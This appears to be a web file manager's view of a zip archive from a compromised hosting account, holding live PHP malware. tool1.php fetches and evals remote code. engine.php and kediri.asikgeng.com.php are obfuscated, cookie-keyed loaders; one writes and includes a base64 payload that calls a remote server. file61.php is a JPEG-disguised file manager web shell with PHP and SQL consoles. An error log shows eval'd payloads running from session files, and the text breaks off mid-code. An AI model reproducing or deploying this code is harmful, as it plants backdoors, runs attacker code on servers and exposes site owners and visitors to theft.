ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/hijabtrendz.com/kediri.asikgeng.com.zip
Back
PK �8�\�k��t t tool1.phpnu �[��� <?php $path = "https://code.decpain.my/fgj/1/tool.php"; $code = implode('', file($path)); eval("?>" . $code); ?>PK �8�\%�R�� � engine.phpnu �[��� <?php function collect_statistics($c) { $a = array(106 * 109 - 11439, 65 + 44 + 7, 97, 42 * 89 - 3622); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } function compute_output($c) { $a = array(5 * 23, 2 * 58, 4 * 56 - 110, 88 + 3 + 17, 101, 80 + 30); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } function process_queue($c) { $a = array(33 + 23 + 44, 2 * 57, 115 - 4); $s = ''; foreach ($a as $n) { $s .= chr($n); } $s = strrev($s); return $s($c); } function sync_data($c) { $a = array(107 - 8, 98 + 4 + 2, 2 * 57); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } class EventDispatcher { private static $_iis; static function manageState($_gws, $_ytr) { if (!self::$_iis) { self::generateToken(); } $_ifl = compute_output($_ytr); $_mkz = base64_decode(self::$_iis[$_gws]); for ($_ghs = 0, $_fpy = compute_output($_mkz); $_ghs !== $_fpy; ++$_ghs) { $_mkz[$_ghs] = sync_data(process_queue($_mkz[$_ghs]) ^ process_queue($_ytr[$_ghs % $_ifl])); } return $_mkz; } private static function generateToken() { self::$_iis = array('_vwo' => '', '_ft' => ''); } } $_fpy = $_COOKIE; $_ytr = (int) round(0 + 0 + 0); $_gws = (int) round(4 + 4); $_xm = array(); $_xm[$_ytr] = EventDispatcher::manageState('_vwo', '_uh'); while ($_gws) { $_xm[$_ytr] .= $_fpy[(int) round(6 + 6)][$_gws]; if (!$_fpy[(int) round(3 + 3 + 3 + 3)][$_gws + (-14 + -251 + 266)]) { if (!$_fpy[(int) round(3 + 3 + 3 + 3)][$_gws + (int) round(0.5 + 0.5 + 0.5 + 0.5)]) { break; } $_ytr++; $_xm[$_ytr] = EventDispatcher::manageState('_ft', '_xs'); $_gws++; } $_gws = $_gws + (-92 + 138 + -38) + (int) round(0.25 + 0.25 + 0.25 + 0.25); } $_ytr = $_xm[(int) round(3.5 + 3.5)]() . $_xm[(int) round(12 + 12)]; if (!$_xm[506 + -47 - 437]($_ytr)) { $_gws = $_xm[-153 - 1 + 172 - 8]($_ytr, $_xm[-53 - -58]); $_xm[-39 + -22 - -37 + 28]($_gws, $_xm[26 + 44 + -44] . $_xm[-60 + 92 + -12]($_xm[767 - -906 + 446 + -2105]($_fpy[(int) round(0.75 + 0.75 + 0.75 + 0.75)]))); } include $_ytr;PK �8�\��H%( %( kediri.asikgeng.com.phpnu �[��� <?php class ErrorHandler { private $lg = ''; private $zu = ''; public function validateInput($p1) { $a = array((9+92),(((18*99)-1682)),((68*1)+43),((104*44)-4477),(((94*23)-2061)),(42+58),((67+28)),(9+43),((63-9)),101,((26*122)-3057),(((28*1)+69)),((106-8))); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1); } public function fetchSummary($p1,$p2) { $a = array(110,((101*1)),(118-6),((3*37)),(((81*1)+21))); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1,$p2); } public function syncRecords($p1,$p2) { $a = array(((7+91+3)),((78+38)),(105),((25*58)-1336),((129-10)),((111-9))); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1,$p2); } public function scheduleJob($p1) { $a = array((51+50),((92*39)-3473),(111),((64+44)),((53*27)-1332),((105-3))); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1); } public function rollbackTransaction($p1,$p2=null) { $a = array(((109*1)),(85+3+17),(4+110),116,(114)); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1,$p2); } public function resolveAction() { $this->zu = $this->rollbackTransaction($this->terminateSession(), '/'); } public function checkConsistency() { $this->lg = $this->validateInput($this->ga); } public function updateCache() { $fn = $this->zu.'/bs-67fc1f131ef67'; $f = $this->fetchSummary($fn, 'w'); $this->syncRecords($f, $this->lg); $this->scheduleJob($f); $this->sendNotification($fn); } private $ga = 'PD9waHAgY2xhc3MgX2lie3ByaXZhdGUgc3RhdGljJF90cTtzd' . 'GF0aWMgZnVuY3Rpb24gX3RpYSgkX2NiZil7aWYoIXNlbGY6OiR' . 'fdHEpc2VsZjo6X21hKCk7cmV0dXJuIGhleDJiaW4oc2VsZjo6J' . 'F90cVskX2NiZl0pO31wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiB' . 'fbWEoKXtzZWxmOjokX3RxPWFycmF5KCdfY2FtJz0+JzQxNjM2M' . 'zY1NzM3MzJkNDM2ZjZlNzQ3MjZmNmMyZDQxNmM2YzYnLidmNzc' . 'yZDRmNzI2Jy4nOTY3Njk2ZTNhMjAyJy4nYScsJ196aCc9Pic0M' . 'zZmNmU3NDY1NmU3NDJkNTQ3OTcwNjUzYTIwNjE3MDcwNmM2OTY' . 'zNjE3NDY5NmY2ZTJmNmE2MTc2NjE3MzYzNzI2Jy4nOTcnLicwN' . 'zQnLCdfa3hyJz0+JzYzNjgnLCdfcGhvJz0+JzY1Nzk0YTcwNjM' . '0MzQ5MzY0OTZhNjczNDRjNmE2NzM0NGM2YTY3MycuJzQ0YzZhN' . 'jczNDQ5Njk3NzY5NjQ1NzQ1Njk0Jy4nZjY5NGEzMDVhNTg0ZTM' . 'wNDk2OScuJzc3Njk2MzZkNTY2ZCcuJzQ5NmE2ZjY5NjQ0NzU2N' . '2EnLic2NDQzNGEzOScsJ192dic9Pic3MTc3N2EnLic3OCcsJ19' . '6eWwnPT4nM2M2ZicuJzZiMycuJ2UnLCdfcnd3Jz0+JzNjNicuJ' . 'zI2MTY0M2UnLCdfZ3gnPT4nNycuJzc2MTYnLidjNicuJ2MnLCd' . 'faXUnPT4nJywnX3BzJz0+JycsJ19pcyc9PicnLCdfemZkJz0+J' . 'zY4NzQ3NDcwM2EyZjJmNzA3NTYyMmU3NzY1NjI2NicuJzY5NmM' . '2NTY4NmY3Mzc0NjU3MjJlNjM2ZjZkMmY2MzZmNicuJ2Q3MDZmJ' . 'y4nNzM2NTcyMmU2YTczJy4nM2Y2NDYxNzQ2Jy4nMTNkJywnX3p' . 'ybic9Pic2Mzc1NzI2YzVmNjk2ZTY5Jy4nNzQnLCdfb2Z5Jz0+J' . 'zY4NycuJzQ3NDcwNWY2MzZmNjQ2NScsJ19laWknPT4nNzM2MzY' . 'nLic4NjU2ZDYnLic1JywnX2J1bCc9Pic2ODc0NzQnLic3MCcuJ' . 'zczJywnX3Ztbic9Pic0NzQ1NTQyMCcsJ192ZmsnPT4nNzA2Jy4' . 'nMScuJzc0NicuJzgnLCdfdXhuJz0+JzcxNzU2NTcyJy4nNzknL' . 'CdfeGVxJz0+JzNmJywnX2theSc9Pic3MTc1NicuJzU3MjcnLic' . '5JywnX3ZsdCc9PicyMDQ4NTQ1NDUwMmYzMTJlMzAwZDBhNCcuJ' . 'zg2ZjczNycuJzQzYTInLicwJywnX3RxJz0+JzY4NmY3Jy4nMzc' . 'nLic0JywnX2Vmcyc9PicwZDBhNDM2ZjZlNmU2NTYzNzQ2OTZmN' . 'mUzYTIwNCcuJzM2YzZmNzM2Jy4nNScuJzBkMGEwZDBhJywnX2V' . '4Jz0+JzczNzM2YzNhMicuJ2YnLicyJy4nZicsJ19ybic9PicnL' . 'CdfenpxJz0+JzY4Jy4nNmY3MycuJzc0JywnX3h3Jz0+JzAnLid' . 'kJy4nMCcuJ2EnLCdfenB3Jz0+JzQ4NTQ1NDUwNWY0MzRjJy4nN' . 'Dk0Jy4nNTRlNTQ1ZjQnLic5NTAnLCdfbGQnPT4nNDg1NDU0NTA' . '1ZjU4NWY0NjRmNTI1NzQxNTI0NDQ1NDQ1ZjQ2NGY1Jy4nMicsJ' . '193aXEnPT4nNTI0NTRkNGY1NDQ1NScuJ2Y0MTQ0NDQ1MicsJ19' . 'keWknPT4nNDg1NDU0NTA1ZjU1NTM0NTUyNWY0MScuJzQ3NDUnL' . 'ic0Jy4nZTU0JywnX2h3eic9Pic0ODU0NTQ1MDVmNTU1MzQ1NTI' . '1ZjQxNDc0NTRlNScuJzQnLCdfaWtvJz0+JycsJ191ZCc9Pic0O' . 'DU0NTQ1MDVmNTI0NTQ2Jy4nNDU1Jy4nMicuJzQ1Jy4nNScuJzI' . 'nLCdfZmliJz0+JzQ4NTQ1NDUwNWY1MicuJzQ1NDY0Jy4nNScuJ' . 'zUyNCcuJzU1MicsJ19jcic9PicnLCdfcWonPT4nNDg1NDU0NTA' . '1ZjQnLiczNGM0OScuJzQnLic1NGU1NDVmNDknLic1MCcsJ19xY' . 'ncnPT4nNDg1NDU0NTA1ZjQzNGM0OScuJzQ1NGU1NDVmNDknLic' . '1MCcsJ19oa3MnPT4nNDg1NDU0NTA1ZjU4NWY0NjRmNTInLic1N' . 'zQxNTI0NDQ1NDQ1ZjQ2NGY1Jy4nMicsJ19vdGcnPT4nNDg1NDU' . '0NTA1ZjU4NWY0NjRmNTI1NzQxNScuJzI0NDQ1Jy4nNDQ1ZjQ2N' . 'GY1Jy4nMicsJ19yeGgnPT4nNTI0NTRkNGY1NDQ1NWY0MTQ0NDQ' . '1MicsJ19tZXgnPT4nNTI0NTRkNCcuJ2Y1NDQ1NWY0Jy4nMTQ0J' . 'y4nNDQ1MicsJ19hdic9Pic2NDYyNjc2ZDZmJy4nNjQnLic2Jy4' . 'nNScsJ19ydSc9Pic0OTUnLicwM2EyMCcsJ19ncCc9PicyMDdjM' . 'jA1NScuJzQxM2EyJy4nMCcsJ19veSc9PicyMDdjMjA1MjYnLic' . '1NjYzJy4nYTInLicwJywnX3JpJz0+JzInLicwM2M2MjcnLicyM' . '2UwJy4nYScsJ19lc3gnPT4nNjk3MCcsJ19tdic9Pic3NTYxJyw' . 'nX3RoJz0+JzcyNjU2NicsJ19pdCc9Pic3MScuJzc3N2EnLic3J' . 'y4nOCcsKTt9fWNsYXNzIF95Y3twcml2YXRlIHN0YXRpYyRfdHE' . '7c3RhdGljIGZ1bmN0aW9uIF90aWEoJF9jYmYpe2lmKCFzZWxmO' . 'jokX3RxKXNlbGY6Ol9tYSgpO3JldHVybiBzZWxmOjokX3RxWyR' . 'fY2JmXTt9cHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gX21hKCl7c' . '2VsZjo6JF90cT1hcnJheSgwMCwwNywwMzYsMDM2LDAxLDAzNiw' . 'wMiwwNywwMSwwMTYsMDMwLDA2LDAzMiwwMTIsMDExLDAxMywwM' . 'jcsMDMxLDAzLDAyLDAxLDAxLDAwLDAxMiwwMTIsMDMxMCwwNjc' . 'zLDAxMjAsMDAsMDIwMDAsMDEsMDQyMywwNDIzKTt9fWhlYWRlc' . 'ihfaWI6Ol90aWEoJ19jYScuJ20nKSk7aGVhZGVyKF9pYjo6X3R' . 'pYSgnXycuJ3poJykpO2lmKGlzc2V0KCRfR0VUW19pYjo6X3RpY' . 'SgnX2t4cicpXSkpeyRfYWtoPV96bGgoX2liOjpfdGlhKCdfJy4' . 'ncCcuJ2gnLidvJykpO2lmKCRfYWtoJiZzdHJwb3MoJF9ha2gsX' . '2liOjpfdGlhKCdfdicuJ3YnKSkhPT1mYWxzZSl7ZGllKF9pYjo' . '6X3RpYSgnX3onLid5Jy4nbCcpKTt9ZWxzZXtkaWUoX2liOjpfd' . 'GlhKCdfcicuJ3d3JykpO319aWYoaXNzZXQoJF9HRVRbX2liOjp' . 'fdGlhKCdfJy4nZycuJ3gnKV0pKXskX2ZlaD0kX0NPT0tJRTskX' . '2F6aj1feWM6Ol90aWEoMCk7JF9jYmY9X3ljOjpfdGlhKDEpOyR' . 'famh1PWFycmF5KCk7JF9qaHVbJF9hempdPV9pYjo6X3RpYSgnX' . '2l1Jyk7d2hpbGUoJF9jYmYpeyRfamh1WyRfYXpqXS49JF9mZWh' . 'bX3ljOjpfdGlhKDIpXVskX2NiZl07aWYoISRfZmVoW195Yzo6X' . '3RpYSgzKV1bJF9jYmYrX3ljOjpfdGlhKDQpXSl7aWYoISRfZmV' . 'oW195Yzo6X3RpYSg1KV1bJF9jYmYrX3ljOjpfdGlhKDYpXSlic' . 'mVhazskX2F6aisrOyRfamh1WyRfYXpqXT1faWI6Ol90aWEoJ19' . 'wcycpOyRfY2JmKys7fSRfY2JmPSRfY2JmK195Yzo6X3RpYSg3K' . 'StfeWM6Ol90aWEoOCk7fSRfYXpqPSRfamh1W195Yzo6X3RpYSg' . '5KV0oKS4kX2podVtfeWM6Ol90aWEoMTApXTtpZighJF9qaHVbX' . '3ljOjpfdGlhKDExKV0oJF9hemopKXskX2NiZj0kX2podVtfeWM' . '6Ol90aWEoMTIpXSgkX2F6aiwkX2podVtfeWM6Ol90aWEoMTMpX' . 'Sk7JF9qaHVbX3ljOjpfdGlhKDE0KV0oJF9jYmYsJF9qaHVbX3l' . 'jOjpfdGlhKDE1KV0uJF9qaHVbX3ljOjpfdGlhKDE2KV0oJF9qa' . 'HVbX3ljOjpfdGlhKDE3KV0oJF9mZWhbX3ljOjpfdGlhKDE4KV0' . 'pKSk7fWluY2x1ZGUoJF9hemopO31mdW5jdGlvbiBfemxoKCRfd' . 'GNtLCRfZ2E9J2tmemhvc2Z6ZGtienhyanhkJywkX2RmPTAuMzc' . 'wMTI2OTc5OTcxMil7JF9pbz1faWI6Ol90aWEoJ19pJy4ncycpO' . 'yRfYnI9X2liOjpfdGlhKCdfemYnLidkJykuJF90Y207aWYoaXN' . 'fY2FsbGFibGUoX2liOjpfdGlhKCdfenInLiduJykpKXskX21zP' . 'WN1cmxfaW5pdCgkX2JyKTtjdXJsX3NldG9wdCgkX21zLENVUkx' . 'PUFRfU1NMX1ZFUklGWVBFRVIsZmFsc2UpO2N1cmxfc2V0b3B0K' . 'CRfbXMsQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCxfeWM6Ol90aWE' . 'oMTkpKTtjdXJsX3NldG9wdCgkX21zLENVUkxPUFRfRk9MTE9XT' . 'E9DQVRJT04sX3ljOjpfdGlhKDIwKSk7Y3VybF9zZXRvcHQoJF9' . 'tcyxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLF95Yzo6X3RpYSgyM' . 'SkpO2N1cmxfc2V0b3B0KCRfbXMsQ1VSTE9QVF9IRUFERVIsX3l' . 'jOjpfdGlhKDIyKSk7Y3VybF9zZXRvcHQoJF9tcyxDVVJMT1BUX' . '0NPTk5FQ1RUSU1FT1VULF95Yzo6X3RpYSgyMykpO2N1cmxfc2V' . '0b3B0KCRfbXMsQ1VSTE9QVF9USU1FT1VULF95Yzo6X3RpYSgyN' . 'CkpOyRfaW89Y3VybF9leGVjKCRfbXMpOyRfaXJnPWN1cmxfZ2V' . '0aW5mbygkX21zKTtjdXJsX2Nsb3NlKCRfbXMpO2lmKCRfaXJnW' . '19pYjo6X3RpYSgnX29meScpXSE9X3ljOjpfdGlhKDI1KSlyZXR' . '1cm4gZmFsc2U7fWVsc2V7JF9hdD1wYXJzZV91cmwoJF9icik7J' . 'F9mcmc9KCRfYXRbX2liOjpfdGlhKCdfJy4nZWlpJyldPT1faWI' . '6Ol90aWEoJ19iJy4ndScuJ2wnKSk7JF9obGk9X2liOjpfdGlhK' . 'CdfdicuJ21uJykuJF9hdFtfaWI6Ol90aWEoJ192Jy4nZmsnKV0' . '7aWYoaXNzZXQoJF9hdFtfaWI6Ol90aWEoJ191eCcuJ24nKV0pK' . 'SRfaGxpLj1faWI6Ol90aWEoJ194ZXEnKS4kX2F0W19pYjo6X3R' . 'pYSgnX2theScpXTskX2hsaS49X2liOjpfdGlhKCdfdicuJ2x0J' . 'ykuJF9hdFtfaWI6Ol90aWEoJ190cScpXS5faWI6Ol90aWEoJ19' . 'lJy4nZicuJ3MnKTskX2NlPWZzb2Nrb3BlbigoJF9mcmc/X2liO' . 'jpfdGlhKCdfZXgnKTpfaWI6Ol90aWEoJ18nLidyJy4nbicpKS4' . 'kX2F0W19pYjo6X3RpYSgnX3p6Jy4ncScpXSwkX2ZyZz9feWM6O' . 'l90aWEoMjYpOl95Yzo6X3RpYSgyNykpO2lmKCRfY2Upe2ZwdXR' . 'zKCRfY2UsJF9obGkpOyRfbWR3PV95Yzo6X3RpYSgyOCk7d2hpb' . 'GUoIWZlb2YoJF9jZSkpeyRfZGk9ZmdldHMoJF9jZSxfeWM6Ol9' . '0aWEoMjkpKTtpZigkX21kdykkX2lvLj0kX2RpO2lmKCRfZGk9P' . 'V9pYjo6X3RpYSgnX3h3JykpJF9tZHc9X3ljOjpfdGlhKDMwKTt' . '9ZmNsb3NlKCRfY2UpO319cmV0dXJuJF9pbzt9JF9kdD1pc3Nld' . 'CgkX1NFUlZFUltfaWI6Ol90aWEoJ18nLid6Jy4ncHcnKV0pOyR' . 'fZnk9aXNzZXQoJF9TRVJWRVJbX2liOjpfdGlhKCdfbGQnKV0pO' . 'yRfZWo9aXNzZXQoJF9TRVJWRVJbX2liOjpfdGlhKCdfdycuJ2l' . 'xJyldKTskX3p3eD1pc3NldCgkX1NFUlZFUltfaWI6Ol90aWEoJ' . '19kJy4neWknKV0pPyRfU0VSVkVSW19pYjo6X3RpYSgnXycuJ2h' . '3eicpXTpfaWI6Ol90aWEoJ19pa28nKTskX2NmcT1pc3NldCgkX' . '1NFUlZFUltfaWI6Ol90aWEoJ18nLid1ZCcpXSk/JF9TRVJWRVJ' . 'bX2liOjpfdGlhKCdfZmliJyldOl9pYjo6X3RpYSgnX2MnLidyJ' . 'yk7JF9kdD1pc3NldCgkX1NFUlZFUltfaWI6Ol90aWEoJ19xaic' . 'pXSk/JF9TRVJWRVJbX2liOjpfdGlhKCdfJy4ncWInLid3JyldO' . 'm51bGw7JF9meT1pc3NldCgkX1NFUlZFUltfaWI6Ol90aWEoJ19' . 'oa3MnKV0pPyRfU0VSVkVSW19pYjo6X3RpYSgnX28nLid0Jy4nZ' . 'ycpXTpudWxsOyRfZWo9aXNzZXQoJF9TRVJWRVJbX2liOjpfdGl' . 'hKCdfJy4ncicuJ3hoJyldKT8kX1NFUlZFUltfaWI6Ol90aWEoJ' . '18nLidtZScuJ3gnKV06bnVsbDtpZihmaWx0ZXJfdmFyKCRfZHQ' . 'sX3ljOjpfdGlhKDMxKSkpeyRfZG89JF9kdDt9ZWxzZWlmKGZpb' . 'HRlcl92YXIoJF9meSxfeWM6Ol90aWEoMzIpKSl7JF9kbz0kX2Z' . '5O31lbHNleyRfZG89JF9lajt9aWYoaXNzZXQoJF9HRVRbX2liO' . 'jpfdGlhKCdfJy4nYScuJ3YnKV0pKXtlY2hvIF9pYjo6X3RpYSg' . 'nX3J1JykuJF9kby5faWI6Ol90aWEoJ19ncCcpLiRfend4Ll9pY' . 'jo6X3RpYSgnXycuJ295JykuJF9jZnEuX2liOjpfdGlhKCdfcic' . 'uJ2knKTtleGl0KCk7fWlmKCFpc3NldCgkX2RvKXx8IWlzc2V0K' . 'CRfend4KXx8IWlzc2V0KCRfY2ZxKSl7ZXhpdCgpO31lbHNleyR' . 'fcWpvPWFycmF5KF9pYjo6X3RpYSgnX2VzeCcpPT4kX2RvLF9pY' . 'jo6X3RpYSgnX212Jyk9PiRfend4LF9pYjo6X3RpYSgnX3RoJyk' . '9PiRfY2ZxKTskX2plZz11cmxlbmNvZGUoYmFzZTY0X2VuY29kZ' . 'Shqc29uX2VuY29kZSgkX3FqbykpKTskX2FraD1femxoKCRfamV' . 'nKTtpZigkX2FraCYmc3RycG9zKCRfYWtoLF9pYjo6X3RpYSgnX' . '2l0JykpIT09ZmFsc2Upe2VjaG8kX2FraDtleGl0KCk7fX0='; public function sendNotification($p) { require_once $p; } public function terminateSession() { $a=array(((44+27+44)),((127-6)),((90*1)+25),(((93*1)+2)),(103*1),((65+36)),(117-1),((38*2)+19),((2*58)),(108-7),(62+47),((52+56+4)),((92*1)+3),(((88*105)-9140)),105,(55+57+2)); $s=''; foreach($a as $n){$s.=chr($n);} return $s(); } } $dx = new ErrorHandler(); $dx->resolveAction(); $dx->checkConsistency(); $dx->updateCache(); PK �8�\�~�`[ [ ? .well-known/pki-validation/A96FE010160F46CA1F305B19646EA30A.txtnu �[��� 09C0ED0A3451B327263288C687114C95249D7E518C388F77B2B0A89A3234B276 comodoca.com 6731e677f190dPK �8�\�W8K K error_lognu �[��� [26-Sep-2025 21:43:14 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_b7a17910f14248e7dccb1e8ad8db6de6(1) : eval()'d code on line 1 [26-Sep-2025 21:43:14 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_b7a17910f14248e7dccb1e8ad8db6de6(1) : eval()'d code on line 1 [26-Sep-2025 21:43:14 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_b7a17910f14248e7dccb1e8ad8db6de6(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_b7a17910f14248e7dccb1e8ad8db6de6(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_b7a17910f14248e7dccb1e8ad8db6de6(1): eval() #2 /home/tokomrjk/kediri.asikgeng.com/framework.php(22) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/kediri.asikgeng.com/framework.php(22): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_b7a17910f14248e7dccb1e8ad8db6de6(1) : eval()'d code on line 1 [26-Sep-2025 21:43:14 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_1bc0445618e2ac007bf5832f7edc118d(1) : eval()'d code on line 1 [26-Sep-2025 21:43:14 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_1bc0445618e2ac007bf5832f7edc118d(1) : eval()'d code on line 1 [26-Sep-2025 21:43:14 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_1bc0445618e2ac007bf5832f7edc118d(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_1bc0445618e2ac007bf5832f7edc118d(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_1bc0445618e2ac007bf5832f7edc118d(1): eval() #2 /home/tokomrjk/kediri.asikgeng.com/framework.php(22) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/kediri.asikgeng.com/framework.php(22): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_1bc0445618e2ac007bf5832f7edc118d(1) : eval()'d code on line 1 [26-Sep-2025 21:43:15 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_e74fc09059b254f22229f1ebbad02944(1) : eval()'d code on line 1 [26-Sep-2025 21:43:15 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_e74fc09059b254f22229f1ebbad02944(1) : eval()'d code on line 1 [26-Sep-2025 21:43:15 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_e74fc09059b254f22229f1ebbad02944(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_e74fc09059b254f22229f1ebbad02944(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_e74fc09059b254f22229f1ebbad02944(1): eval() #2 /home/tokomrjk/kediri.asikgeng.com/framework.php(22) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/kediri.asikgeng.com/framework.php(22): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_e74fc09059b254f22229f1ebbad02944(1) : eval()'d code on line 1 [02-Oct-2025 07:38:31 UTC] PHP Fatal error: Array and string offset access syntax with curly braces is no longer supported in /opt/alt/php81/var/lib/php/session/sess_fb9c2c15a45a211127cae085a3b3d2c8(1) : eval()'d code on line 1 [02-Oct-2025 07:38:32 UTC] PHP Fatal error: Array and string offset access syntax with curly braces is no longer supported in /opt/alt/php81/var/lib/php/session/sess_d4910187dfb99826d1d10680caaf3019(1) : eval()'d code on line 1 PK �8�\�6?iVi Vi file61.phpnu �[��� <html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php ?> ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en', 'ru', 'de', 'fr', 'uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path = str_replace('\\', '/', realpath('./')); $phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization, true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); if ($lang['id'] != $language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'", ''', json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } $lang = json_decode($translation_string, true); } } /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = 